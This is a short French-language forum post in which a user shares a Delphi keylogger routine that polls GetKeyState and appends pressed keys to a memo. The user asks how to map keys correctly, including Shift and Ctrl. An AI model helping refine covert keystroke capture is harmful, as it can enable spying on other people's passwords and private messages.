Bonjour,

J'ai recuperé sur ce forum la routine de keylogger suivante

procedure TForm1.Timer1Timer(Sender: TObject);
var pos, c : integer;
begin
//64 = Code ASCII de la lettre 'a', si echap est presser vous le serez
for c:= 1 to 255 do begin;
pos := GetKeyState(c);
if Copy(IntToStr(pos),1,1) = '-' then begin;
memo1.Text := Memo1.Text + chr(c);
end;
end;

Le probleme c'est que le chr(c) ne retourne pas les touches exactes : Par exemple pour le clavier numérique il retourne a pour la touche 1
et
b pour la touche 2

Pouvez vous m'indiquer une procedure pour mapper les touches exactes (en tennant compte du SHIFT, CTRL ...)

Merci